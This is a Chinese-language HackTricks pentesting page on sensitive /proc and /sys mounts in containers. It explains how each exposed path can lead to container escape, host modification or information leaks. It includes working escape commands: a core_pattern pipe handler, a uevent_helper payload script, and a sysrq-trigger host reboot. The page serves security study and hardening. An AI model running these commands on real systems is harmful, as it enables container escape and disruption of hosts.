Sensitive Mounts

支持HackTricks

未经适当命名空间隔离的/proc/sys的暴露会带来重大安全风险,包括增加攻击面和信息泄露。这些目录包含敏感文件,如果配置错误或被未经授权的用户访问,可能导致容器逃逸、主机修改或提供有助于进一步攻击的信息。例如,不正确地挂载-v /proc:/host/proc可能绕过AppArmor保护,因为其基于路径的特性,使/host/proc无保护。

您可以在 https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts** **找到每个潜在漏洞的更多详细信息。

procfs漏洞

/proc/sys

此目录允许通过sysctl(2)修改内核变量,并包含几个相关子目录:

/proc/sys/kernel/core_pattern

  • core(5)中描述。

  • 允许定义一个程序,在核心文件生成时使用前128个字节作为参数。如果文件以管道|开头,可能导致代码执行。

  • 测试和利用示例

[ -w /proc/sys/kernel/core_pattern ] && echo Yes # 测试写入权限
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # 设置自定义处理程序
sleep 5 && ./crash & # 触发处理程序

/proc/sys/kernel/modprobe

  • proc(5)中详细描述。

  • 包含内核模块加载器的路径,用于加载内核模块。

  • 检查访问权限示例

ls -l $(cat /proc/sys/kernel/modprobe) # 检查对modprobe的访问权限

/proc/sys/vm/panic_on_oom

  • proc(5)中引用。

  • 一个全局标志,控制当发生OOM条件时内核是崩溃还是调用OOM killer。

/proc/sys/fs

  • 根据proc(5),包含有关文件系统的选项和信息。

  • 写入权限可能导致对主机的各种拒绝服务攻击。

/proc/sys/fs/binfmt_misc

  • 允许根据其魔术数字为非本机二进制格式注册解释器。

  • 如果/proc/sys/fs/binfmt_misc/register可写,可能导致提权或获取root shell访问。

  • 相关利用和解释:

  • 深入教程:视频链接

/proc中的其他内容

/proc/config.gz

  • 如果启用了CONFIG_IKCONFIG_PROC,可能会显示内核配置。

  • 对攻击者有用,以识别运行中内核中的漏洞。

/proc/sysrq-trigger

  • 允许调用Sysrq命令,可能导致立即系统重启或其他关键操作。

  • 重启主机示例

echo b > /proc/sysrq-trigger # 重启主机

/proc/kmsg

  • 显示内核环形缓冲区消息。

  • 可帮助内核利用、地址泄漏和提供敏感系统信息。

/proc/kallsyms

  • 列出内核导出的符号及其地址。

  • 对于内核利用开发至关重要,特别是用于克服KASLR。

  • 地址信息受kptr_restrict设置为12的限制。

  • 详细信息请参阅proc(5)

/proc/[pid]/mem

  • 与内核内存设备/dev/mem交互。

  • 在历史上容易受到提权攻击的影响。

  • 更多信息请参阅proc(5)

/proc/kcore

  • 以ELF核心格式表示系统的物理内存。

  • 读取可能泄漏主机系统和其他容器的内存内容。

  • 大文件大小可能导致读取问题或软件崩溃。

  • 详细用法请参阅2019年转储/proc/kcore

/proc/kmem

  • /dev/kmem的替代接口,表示内核虚拟内存。

  • 允许读取和写入,因此可以直接修改内核内存。

/proc/mem

  • /dev/mem的替代接口,表示物理内存。

  • 允许读取和写入,修改所有内存需要解析虚拟到物理地址。

/proc/sched_debug

  • 返回进程调度信息,绕过PID命名空间保护。

  • 显示进程名称、ID和cgroup标识符。

/proc/[pid]/mountinfo

  • 提供有关进程挂载命名空间中挂载点的信息。

  • 显示容器rootfs或镜像的位置。

/sys中的漏洞

/sys/kernel/uevent_helper

  • 用于处理内核设备uevents

  • 写入/sys/kernel/uevent_helper可以在uevent触发时执行任意脚本。

  • 利用示例: %%%bash

创建一个有效载荷

echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

从容器的OverlayFS挂载中找到主机路径

host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab)

将uevent_helper设置为恶意助手

echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

触发uevent

echo change > /sys/class/mem/null/uevent

读取输出

cat /output %%%

/sys/class/thermal

  • 控制温度设置,可能导致 DoS 攻击或物理损坏。

/sys/kernel/vmcoreinfo

  • 泄露内核地址,可能危及 KASLR。

/sys/kernel/security

  • 包含 securityfs 接口,允许配置类似 AppArmor 的 Linux 安全模块。

  • 访问可能使容器禁用其 MAC 系统。

/sys/firmware/efi/vars/sys/firmware/efi/efivars

  • 提供与 NVRAM 中的 EFI 变量交互的接口。

  • 配置错误或利用可能导致笔记本变砖或主机无法启动。

/sys/kernel/debug

  • debugfs 为内核提供了一个“无规则”调试接口。

  • 由于其不受限制的特性,存在安全问题的历史。

参考资料

支持 HackTricks

Last updated